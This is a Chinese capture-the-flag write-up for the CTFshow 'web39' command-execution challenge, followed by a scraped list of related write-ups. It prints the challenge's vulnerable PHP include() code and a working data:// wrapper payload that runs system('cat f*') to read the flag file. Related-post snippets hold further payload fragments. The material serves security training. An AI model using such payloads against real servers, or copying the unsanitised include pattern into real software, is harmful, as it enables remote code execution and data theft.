源码

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*///flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c.".php");}}else{highlight_file(__FILE__);
}

分析源码 参入的参数后面会拼接一个.php 再进行文件包含

直接用data伪协议 发现直接拿到flag了
/?c=data://text/plain,<?php system("cat f*") ?>
看了下hint

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

CTFshow 命令执行 web39相关推荐

  1. CTFshow——命令执行

    CTFshow--命令执行 Web29 <?php error_reporting(0); if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_matc ...

  2. ctfshow命令执行(持续更新,已更至web39)

    做命令执行题比前两种慢很多,到现在也只做了总数的五分之一,慢慢来吧. web29 web30 web31 web32 web33~36 web37 web38 web39 web29 题目如下: er ...

  3. CTFshow命令执行29-123

    命令执行 WEB29 eval是php中执行以PHP脚本执行的命令 PHP命令可以执行脚本命令 本题使用方法是先 system(cp f*.php 1.txt) 然后访问1.txt WEB30 在PH ...

  4. CTFshow 命令执行 web72

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 ...

  5. [CTFSHOW]命令执行

    文章目录 web 29 web 30 web 31 web32 web33-36 web37 web38 web40 web41 web42 web43 web44 web45 web46 web47 ...

  6. ctfshow 命令执行 web29-web77 web118-122 web124 wp

    南神博客 文章目录 命令执行 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 w ...

  7. ctfshow命令执行篇

    web31 echo(`ls%09/`); echo(`tac%09fla*`); web32 过滤; 关键命令执行函数也不能用 用文件包含 其实这个做法也是靠刷题经验猜flag路径 c=includ ...

  8. [CTFSHOW]命令执行55-74

    web 55 if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\< ...

  9. ctfshow命令执行

    目录 web33:[文件包含] web34: web35: web36:多过滤了0-9的数字,用参数逃逸可以不用数字,用字母就可以成功绕过 ,步骤一样,略 web37: web38: web39: w ...

最新文章

  1. Redhat 图形模式与命令行模式的切换
  2. jsp+mysql开发论坛程序
  3. 如何将比Long类型更大数值字符串转化为整数
  4. boost::hana::reverse用法的测试程序
  5. 11. Java基础之继承
  6. jQuery BreakingNews 间歇滚动
  7. C语言执行Linux的shell命令并获得返回值
  8. 【HISI系列】之IP/MAC地址配置
  9. mysql单机在线迁移_MySQL 不停服务 在线进行100亿数据迁移切换
  10. 编码——纠正网上的大量错误
  11. 善于从错误中总结,而且还要持之以恒地达到目标
  12. html文本域滚动条标签,怎么给textarea加滚动条
  13. 携号转网查询接口API,手机号码归属地及运营商查询接口
  14. 进行网络数据采集时用 CSS——避免蜜罐
  15. 雅思专家另类视角,解读不一样的美国大学专业排名
  16. python—成绩管理系统考试题目:小学五年级学生小明、小王、小丽、小花的语文、英语、数学成绩如……
  17. Oracle-多表查询
  18. 阿里p7程序员:生活压力大,有房贷不敢离职,离职股票就没了
  19. Hadoop之机架感知
  20. [转贴]在美国的困惑:回国还是不回?

热门文章

  1. RHEL(RedHat Enterprise Linux)5/6 ISO镜像下载
  2. ios 三种颜色画笔和橡皮擦的画图板demo
  3. 关于在VS2010中学习c++的MFC
  4. 理解ROS话题---ROS学习第5篇
  5. Python基础教程第1章:基础知识---学习记录
  6. 大数据可视化html模板开源_5个最受工程师欢迎的大数据可视化工具
  7. vc++ mfc 非客户区 描绘线_决战客户端技术
  8. 企业网站制作要以简约为主
  9. HTML解析原理概括(转载)
  10. Pyqt 窗体间传值